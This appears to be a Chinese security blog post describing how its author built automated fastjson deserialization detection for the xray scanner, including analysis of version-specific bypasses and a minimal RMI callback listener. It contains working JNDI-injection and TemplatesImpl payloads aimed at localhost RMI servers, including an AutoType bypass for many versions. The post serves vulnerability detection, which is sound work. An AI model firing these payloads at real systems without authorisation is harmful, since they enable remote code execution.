Fastjson 反序列化漏洞自动化检测

fastjson 是 java 中常用的一个用来序列化/反序列化 JSON 数据的库。因其优异的性能表现,在 java web 开放中应用比较广泛。这两天花 3 分钟入门了 JAVA 安全,恰巧最近需要写一个 fastjson 的检测插件,稍微研究了一下后,感觉有一个比较不错的检测方法,在这里和大家分享下。

在文章开始之前,我想说明一点,这里介绍的是检测方法,而不是利用方法。这是两个不同的目标,实现这两个目标需要考虑的细节也是不同的。在做漏洞检测时,尤其是自动化检测时,关注的往往有以下几点:

  • 利用入口点是什么
  • 如何确认漏洞存在
  • 如何高效检测
  • 如何无损检测

围绕着这几点,我这个从未接触 java 安全的弟弟打开了 idea 开始了 fastjson 反序列化 debug 之路。

漏洞成因

我刚接触的时候,感觉很多文章都在说 @type,但@type 是什么,为什么需要 @type大家好像都没有提及,而且既然 @type 这么多问题,官方为何不去掉这个用法。带着这些疑问,我写了一个简单的 case,在 1.2.24 版本运行一下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public class User {
    private String name;

    public User() {
        System.out.println("User()");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }
}

class Testfastjson {
    public static void main(String[] args) {
        String x = "{\"name\": \"test\"}";
        Object xx = JSON.parseObject(x);
        System.out.println(xx);
        System.out.println();

        String y = "{\"@type\":\"com.koalr.fastjson.User\",\"name\": \"test\"}";
        User yy = (User) JSON.parse(y);
        System.out.println(yy);
        System.out.println();

        String z = "{\"name\": \"test\"}";
        User zz = (User) JSON.parseObject(z, User.class);
        System.out.println(zz);
    }
}

结果为:

1
2
3
4
5
6
7
8
9
{"name":"test"}

User()
setName
com.koalr.fastjson.User@18769467

User()
setName
com.koalr.fastjson.User@46ee7fe8

仔细观察这个这个 case,它主要说明了三点:一是如果没有指定类型,得到的是 fastjson 的内置类型 JSONObject,这个模式下没有类型信息,使用起来和 python dict 比较像;二是如果用某种方式制定了类型,那么会调用初始化函数和相关属性的 setter 等。这里说的某种方式可以通过 @type 在 JSON 中指定,也可以在反序列化时手动指定 class 类;三是反序列化指定类时,类的 settergetter 会被调用。

我们来试着回答下上面的三个问题: @type 用于指定本次序列化所使用的类,方便直接操作想要的类型,例子中的后两种情况我们可以直接通过类型转换将原始的 JSONObject 转为 User,第一种却不行,因为后两种真正的类型就是 User,用过 go 的 interface{} 的同学应该比较容易理解这句话;至于为什么需要以及为什么不去掉,我猜想的是一方面帮 Java 开发者偷懒了,一方面可能也是不得不。Java 是一门静态类型语言,在静态语言中操作动态类型是比较难受和不安全的方式,虽然可以通过手动指定class 的方式做反序列化,但这种写法不够通用,在写中间件之类的代码时,结合各种反射特性可以把东西写的很精巧,这时候就不得不用一些比较投机的方式了。

回到话题上,现在我们可以概括一下这个漏洞的成因: 反序列化 @type 指定的类时,指定类的 settergetter 被调用导致的命令执行。

检测方案

上面说到漏洞触发和 settergetter 有关,那么利用方式就是找那些在 settergetter 中有敏感方法的类。从各位大佬们的分析文章来看,主流方式有三种(以 1.2.24 版本为例):

JNDI 注入

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/POC", "autoCommit":true}

原理是 com.sun.rowset.JdbcRowSetImpl 这个类在设置 autoCommit 的 setter 时会调用 connect 方法去连接 dataSourceName 指定的 jdbc 服务。 JNDI 常用的有 RMI 和 LDAP 服务,这里我使用的 RMI 服务,因为实现比较简单,这个后面会说。

bytesCode

1
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64_bytesCode"],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}

原理是把这个类会把中的方法会实例化 _bytescodes 中指定的类,我们可以写一个自定义类并在类的初始化函数中加入利用代码。

DNS log

1
{"@type":"java.net.InetAddress","val":"example.com"}

原理是 java.net.InetAddress 这个类在实例化时会尝试做对 example.com 做域名解析,这时候可以通过 dns log 的方式得知漏洞是否存在了。

上面的三种方式综合考量下,第一种是最合适的。第二种有个致命的限制,需要类似 JSON.parseObject(z, Feature.SupportNonPublicField) 的用法来启用对私有成员的设置,这个选项默认关闭,所以直接不考虑;第三种虽然简单,但用户部署起来很复杂,需要一个能够自行控制 dns 的域名才可以,而且内网的情况更加棘手。

查阅资料后发现,为了防止 JNDI 注入,Java 本身也做了很多努力,比如 java.rmi.server.useCodebaseOnlycom.sun.jndi.rmi.object.trustURLCodebase 这两个都是用于防止 rmi server 远程加载恶意类的。但这些限制对漏洞检测而言是无效的,检测讲究点到为止,我们只要能确定漏洞存在就可以结束检测流程。对 JNDI 注入而言,我们认为 JNDI server 收到了 socket 连接就是漏洞存在。

确定 payload

上面敲定了使用 JNDI 注入的方式来做检测,还有个关键问题需要解决,就是检测过程使用的 payload。有个简单的方式是把各个版本爆出的 poc 都打一遍,可以但有些粗暴。回看最开始说的漏洞检测的几个点,现在要思考的是如何高效检测。

从 2017 年到现在(2019.12),fastjson 先后约有 5 次左右的反序列漏洞的产生、修复和绕过,在这曲折的打怪升级过程中,这其中有两个关键性的版本,一个是 1.2.24,一个是 1.2.47。前者是官方主动说该版本有反序列化漏洞,开启了 fastjson 反序列化研究的道路,后者是护网期间诞生的一个梦幻般的绕过。1.2.24 及之前没有任何限制,从该版本后逐渐增加了黑名单限制、默认关闭 AutoType 等,安全更新大都因为黑名单被绕过,直到 1.2.47 版本左右,有人发现了一种利用 cache 绕过限制的方法,而且这种方法可以向前通杀很多版本,但是 1.2.24 版本却不能用,究竟可以杀到那个版本,我自己调了一下代码,结论如下:

  • 1.2.33 - 1.2.47 无条件利用
  • 1.2.25 - 1.2.32 未开启 AutoType 可以利用,开启反而不能 (默认关闭)
  • 1.2.24 无条件利用

cache 机制是从 1.2.25 添加的,我当时很好奇为何这个开启了 AutoType 反而不能用了,发现原因是这两行代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
// 1.2.25
for(i = 0; i < this.denyList.length; ++i) {
    deny = this.denyList[i];
    if (className.startsWith(deny)) {
        throw new JSONException("autoType is not support. " + typeName);
    }
}

// 1.2.33
for(i = 0; i < this.denyList.length; ++i) {
    deny = this.denyList[i];
    if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {
        throw new JSONException("autoType is not support. " + typeName);
    }
}

这段代码只在开启了 AutoType 时会执行到,但 25 版本少了一个判断,导致 cache 的利用机制失效了。综合来看 47 这个版本的 poc 基本是通杀的,但 25~32 几个版本手动开了 AutoType 就检查不到了,只能发一个别的 payload 来检测,我曾花费很多力气来尝试把两个 payload 合二为一,但后来发现做的是无用功,因为这两个关键版本的 payload 本质上是互斥的。

没有办法只能求次发两个包解决,其中 payload1 是”通杀“ payload,payload2 是 1.2.24 ~ 1.2.41 在启用 AutoType 时可用的 payload,这两个结合就覆盖了所有的 case。 细心的同学会发现每个数据都套了一层随机数,这么做的原因是我发现 Java Web 中可以通过 annotation 来做类型绑定,大意是可以指定 /user 的数据类型是 User,如果 Server 收到的数据是这样的 {"@type": "com.sun.rowset.JdbcRowSetImpl"},数据指定的类型和 User 不匹配时会报错,这是我在测试 vulhub 靶站时发现的。通过这样一个小的优化可以提高 payload 的命中率。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

// payload 1
{
    "rand1": {
      "@type": "java.lang.Class",
      "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "rand2": {
      "@type": "com.sun.rowset.JdbcRowSetImpl",
      "dataSourceName": "rmi://127.0.0.1:1099/aaa",
      "autoCommit": true
    }
}
// payload 2
{
    "rand3": {
      "@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
      "dataSourceName": "rmi://127.0.0.1:1099/aaa",
      "autoCommit": true
    }
}

自动化实现

检测方式和 payload 都确定了,就可以开始写代码了。有个问题摆在了眼前,如何利用 RMI 服务来做自动化检测。 回想一下漏洞检测常用的方式:

  • 有回显的检测
  • 布尔/时间盲检测
  • 反连平台检测

fastjson 的这个问题明显属于第三种,它需要一个外部服务来告诉我们漏洞有没有触发,我们称这种服务为反连平台。白帽子们最常用的 xss 平台就是一个 http 服务的反连平台,检测 ssrf 漏洞时也常用反连平台来作为辅助平台,那么我们能不能设法实现一个基于 rmi 服务的反连平台?

一些图省事的同学可能会说直接用 java 启动一个 rmi 服务就可以了,这样做的问题是比较多的,一方面 xray 是用 go 写的,再套一个 java 会很奇怪。而且就算可以用 java,我们也需要为每个检测目标启动不同的服务,因为在同时扫描多个网站时,需要鉴别漏洞请求来源于哪个网站。这其实牵涉到反连平台的一个关键问题:如果做请求关联,就是需要知道这条反连的请求是扫描那个目标时触发的。

有个简单的方案是根据端口来区分,rmi 本质上是一个 socket 服务,我们可以在发送 payload 前启动一个随机的 socket 服务,然后将这个 socket 服务的端口填入 payload 中,内部只需要维持一个 map{“port” -> “request”} 即可。理论上是可行的,但这样需要启动大量的 socket 服务来监听端口,听着就很脏,有没有更好的方法呢?

我们上面输入的 dataSourceName中输入的是 rmi://127.0.0.1:1099/aaa/aaa这一部分像极了 http 的 path,我们设法取到这个值理论上就和 http 服务的反连平台基本一致了。不妨来看看 RMI 服务的协议,https://docs.oracle.com/javase/9/docs/specs/rmi/protocol.html#overview, 发现这个协议还挺简单的,我用 wireshark 调了一下,大致流程是:

  1. client -> server dial tcp and send
    1
    2
    
    4a 52 4d 49    00 02    4b
    J  R  M  I     Version  Protocol(StreamProtocol)
    
  2. server -> client, repsond with client infos
    1
    2
    
    4e           0009     3132372e302e302e31 0000 d399
    ProtocolACK  Length   127.0.0.1               54169
    
    其中 127.0.0.1:54169 对于 server 来讲就是 socket.RemoteAddr
  3. client -> server, call
    1
    2
    
    50   xxxxxxxxxxxxxxx
    Call SerializationData 
    

这里的 SerializationData 其实就是 String 的序列化数据,这里面必然包含这我们想要的那个 path, 我在实现时并没有按照 java 序列化数据的格式去乖乖读取,而是用了一个简单的办法,我发现 String 的序列化数据的真正内容都在最后面,那么我其实从后往前读取就可以找到想要的 path,具体方法可以从后往前读固定的长度,也可以给path 设置一个标记符,读到就结束,我用的是后者。

至此,我们把上面讨论的内容用代码串起来就可以做到 fastjson 的高效自动化检测了,该插件现已加入 xray 高级版,欢迎体验。我取了4个版本相对关键的 fastjson 版本验证了一下,效果图如下:

一点想法

上面的实现还有个我觉得不够完美的点,由于我自行实现的 RMI 只实现了握手部分,取得 path 后就关掉连接了,这其实会导致服务端有一个异常信息。其实有时间的话完全可以把剩下的协议部分实现以下,返回一个最简单的结果就可以,这个留给大家去发挥吧。

在研究这个漏洞时,发现大家的研究点都集中在漏洞利用上,然而发现漏洞其实是利用漏洞的起点,而如何高效、自动化的检测漏洞也是非常值得我们去思考和研究的。由于我之前没接触过 Java,很多都是花三分钟现学的,虽然文中结论我大都自己调试过,但精力有限,如有错误,欢迎与我联系改正。